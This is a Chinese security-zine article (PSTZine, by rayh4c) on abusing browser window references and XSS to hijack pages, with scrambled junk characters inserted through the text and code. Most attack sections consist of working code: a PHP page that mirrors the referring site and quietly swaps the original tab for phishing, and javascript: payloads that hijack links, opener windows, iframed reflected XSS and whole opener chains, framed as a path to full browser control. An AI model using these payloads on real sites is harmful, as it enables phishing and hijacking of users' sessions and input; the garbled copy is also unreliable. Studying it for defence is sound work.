[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

admin

                           ==Ph4nt0m Security Team==

                       Issue 0x03, Phile #0x05 of 0x07
; G9 M6 R  v  j6 Q4 W8 r8 E- c7 c! ?% q: Y9 }
  r' A# i& j8 b6 c8 [3 V3 a
|=---------------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
( @4 r! ?4 Y) f( P4 a- ?1 L. p, `|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
& o/ @; `3 C; O9 ~" M$ c% {|=------------------------=[      By rayh4c     ]=---------------------------=|
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
: k# C( a4 n. [/ [( [! v|=---------------------------------------------------------------------------=|


* m& U8 U& l: u0 |) h8 y- i4 t/ G[目录]

1. 前言
4 S. V+ z6 O  X* v9 L$ D2. 同源策略简叙
* G0 Z! I; S6 x8 ^4 A' n% Y* b3. 理解window对象的同源策略
: U5 c  d2 p% t* N, P4 [4. 窗口引用功能中的同源策略漏洞
  4.1 父窗口引用子窗口的同源策略问题
  4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
9 Y' d. f8 j5 Y6. 利用XSS漏洞劫持浏览器
9 v# e- w* m0 u) o  6.1 正向跨窗口劫持
  6.2 反向跨窗口劫持
+ s% t4 ^" U! |# e  6.3 极度危险的跨框架窗口引用劫持
  6.4 极度危险的正反向跨窗口递归劫持
  6.5 完全控制浏览器
7. 后记
( R* l% y# |/ d' g& }3 R8. 参考

! J; @7 s2 l, D! R5 n
3 K& p% K; H' p, T' b. V+ ]一、前言

$ n  w0 y/ L; _6 p    最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋
友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被
条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。


; x2 |1 e: D8 o( Q3 S+ S二、同源策略简叙

    同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以
' o! `! G- R& j: ]" i) {5 F从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都
7 A$ T( X* I+ R/ q) {曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木
5 ?( S7 Z% v- A. T3 `) T* v马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。
' A2 L5 `; J5 r: w
; `  i( c6 U# B" h" ^$ X) D% O0 O0 |
三、理解window对象的同源策略
7 Y1 f: l7 _& \" b" e. e
    窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对
象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：
, k3 I1 V9 I/ ]* R8 |) ^
, Y1 F8 u2 I+ C) w; y. {1 R6 ]--code-------------------------------------------------------------------------
<script language="javascript">
for(p in window) document.write(p+"<br>");
</script>
-------------------------------------------------------------------------------

    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方
2 g3 ^+ p' H; W2 \( a法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，
这些属性和方法就必须遵循同源策略。

* `' Y8 A, Z3 H- V4 _    举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那
* {: y  y- ~' B# }! }么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这
& e' S. Z! b3 r  v1 }4 Q9 O6 u2 ^* d个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的
值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
% x8 Y% G4 P# S% r# i% O属性并没有被拒绝访问。
6 i5 J% B6 {0 m0 I8 ?  ^
--demo.html--------------------------------------------------------------------
<script language="javascript">   
! P* U0 L' V7 sfunction allPrpos(obj) {      
      var props = "<table><tr><td>名称</td><td>值</td>";           
      for(var p in obj){         
            if(typeof(obj[p])=="function"){   
* A: h8 r" o  P4 `) \0 R                   obj[p]();   
/ o. E& p% P% S! ]& L             }else{                     
1 L* v. ?' E" S9 p# ^) o                  try   
- ^2 y& ]) Q: t" \: s* c  f                   {   
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
                   }   
* o) {# V5 w2 M2 }( z/ F                  catch (ex)   
( q& Z" E( y: j0 p  g! a                   {   
0 R) A  {+ k1 l: y$ K0 n) m                  
, w4 o) ?& C8 b6 N+ T: ]                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
                   }   
                       
! F5 \) f1 e; b             }   
6 |+ b  p/ i5 [3 j, R       }   
! V& ~  e8 V& y' o. e   
       document.write(props+"</table>");   
1 I) E* p# z* W% W5 {% f}   
4 _: \& o# m, ?/ `   
function createWin() {
1 k4 d: N4 m$ f/ z+ g        newWin = window.open ("http://www.google.com");  
2 p! ]7 r+ X/ X& X, J        setTimeout(function(){allPrpos(newWin)},2000);
" ?; y, C: `1 D9 i1 a}
$ W6 R9 f  h* H, z% J
</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------
; t* _* t7 h# ^0 g7 d

( w. O4 c$ \0 o3 C0 D四、窗口引用功能中的同源策略漏洞
4 L9 s5 T2 `/ @# F. K# w5 r
4.1 父窗口引用子窗口的同源策略问题

" l- W- t: Z! k6 i    去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，
( x. }) i2 v# t2 R1 N- ~& J但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道
) b3 V% M3 c; Q# `/ c* E浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进
行测试，会发现父窗口可以控制非同源子窗口location属性值。

4 W/ U: K6 O& Y6 r--vul1.html--------------------------------------------------------------------
<script language="javascript">
function createWin() {  
        newWin = window.open ("http://www.google.com");  
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
}
</script>

& d- D9 K+ t8 U: D: L8 ]; c<button onclick='createWin()'>创建一个非同源子窗口测试</button>
% b! {9 j. B' M5 a+ c' ~-------------------------------------------------------------------------------
" g6 x& U- l; o4 t, o

4 s) R0 ^  `, a8 z/ h, n4.2 子窗口引用父窗口的同源策略问题

3 O2 e' o8 }- R$ E    逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们
可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定
, f3 E: {' |3 y2 {2 @会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。
! G, s# u4 k# K3 f5 P# k
--code-------------------------------------------------------------------------

javascript:window.opener.location = "http://www.80sec.com";void(0);
% n5 p# l4 s( N5 u0 R& n7 s+ p
-------------------------------------------------------------------------------

4 ]6 [- E0 s% [% Q
五、利用窗口引用漏洞劫持浏览器

0 v8 V2 w( T# i% R( H' @$ m4 k' y9 ]    经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子
窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
% p" B9 l# a5 I  }- s/ o" L
6 L! Z1 ?8 w; m! ~3 h/ E    我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产
生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或
者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
. p' X% ~3 `& q( A, Y; ^& O后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下
: p5 F) j# l/ X" P会产生什么可怕的后果。
5 d2 P3 P1 W9 _
    下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php
; [" U$ w& w% S2 }) a( T" c这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时
( p+ Y) M3 K7 C2 e候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可
8 h! @/ F7 c. X以做更多的事情，所有的一切仅仅是因为点击了一个链接。

--hjk_ref.php------------------------------------------------------------------
<?php
3 @# }; @+ H& D1 P; ~4 U4 Sif (array_key_exists("HTTP_REFERER", $_SERVER)) {
0 W: j9 c, R  A! Q$Url_Mirror = $_SERVER["HTTP_REFERER"];
}
if(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
) k2 \0 h! @, [2 G, D}
?>

<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
' X1 {0 @& Z1 Q7 X</script>
-------------------------------------------------------------------------------
0 X2 S8 K' v" f
7 a- k1 J) b: G4 [3 K3 S' J8 I; s    注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
1 H- }& W" J. F' w$ @6 w

" M; t+ g. X) @9 w* F$ ^- W六、利用XSS漏洞劫持浏览器
2 W$ H' x. [& j: |0 }) m
, N6 m3 U" E% a) {! y    延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
& t7 v$ F* ^$ w, U. j( a6 @持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后
XSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起
* N- ]# B3 e# J$ Y# a2 g3 x讨论跨站师的终极技巧：
* Q$ B" s+ |. ^' Z! K& x

6.1 正向跨窗口劫持

    大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛
主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链
接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话
框脚本。
7 P0 {1 k# \' N5 [5 C+ y% d
--hijack_open.js---------------------------------------------------------------
5 e* M3 E0 s- @" z- r$ _  V, ^: ]% ^
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
6 m+ ~' l' |  K9 v, u$ P7 ?! U
  {. U, M+ }1 A" F  R4 @-------------------------------------------------------------------------------


6.2 反向跨窗口劫持
0 K: Y" @# R$ b; U0 z- U+ O& k+ @' @8 f
    同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代
码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话
框脚本。
8 T: Z9 H6 F7 W/ s
9 e" z# o: z# A6 p0 Q--hijack_opener.js-------------------------------------------------------------
: s# A! o& ?- F
, e/ d) u) Q7 r7 g" x4 ljavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

-------------------------------------------------------------------------------
: I+ t2 o9 u) D5 c, s; J) M

6.3 极度危险的跨框架窗口引用劫持
' K8 I- M, D; S/ g2 C& `! z- \6 M
    非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞
8 b9 y' o! j6 d" E可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就
适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个
非持久型的XSS，如下：

<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
) m9 z% M9 v. u9 U1 `' n# ^( F
) j* o% i' j4 r3 y' t  D" |    在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
( k1 e) v  X8 h, s. C注入脚本。

- o& \; D& g, }; ~2 h) E--hijack_frame_opener.js-------------------------------------------------------
<script>
# Y. }, o, g& p1 zwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
: n. @) }3 p% U5 M</script>
# N/ C6 j/ z6 u& ~4 N# \, O* i-------------------------------------------------------------------------------
6 M, y' C6 [7 \% A

1 _. Z# S2 |$ y  U+ }8 X6.4 极度危险的正反向跨窗口递归劫持
+ J# y" o2 u& [# h& l9 y+ r* k
) D  H, O  `# k) {5 Y4 l% L1 a% P    luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window
的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过
异常处理规避之间跨域页面的访问异常，代码如下：

6 H: L. E7 `& k6 D5 U7 n- R--code-------------------------------------------------------------------------

javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
3 |2 \6 v; r6 m1 c4 Z* U
-------------------------------------------------------------------------------

    假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可
以劫持B域之前的A域页面，从而实现“隔空打击”。

1 G+ p4 j3 ^( p/ }    同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面
& O* i5 K5 W  a  t& h2 i执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。

    结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。
6 ?2 y. I9 y* k% ~6 g: v7 ?

6.5 完全控制浏览器
4 a' V( R* F7 W# z/ t% i1 y
7 n/ S% v9 }2 N8 g, x    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则
- {8 i3 {# F8 }- [+ p0 e是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
7 C" Y: T  G: O% |7 R1 k% L漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失
' e6 F+ _. J0 \" Z$ e! `% \而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站
0 ^# O" }& H: ~( [  b师的终极目标 - 完全控制浏览器。


七、后记

    文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
' k- x" q" F3 i' I( r; D过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
! E8 G( x7 R! ]' v4 m

八、参考

' D- R. z% N+ P! G# A7 e1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browser ... licy_for_DOM_access
, |4 Y! W; b$ u* p3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

-EOF-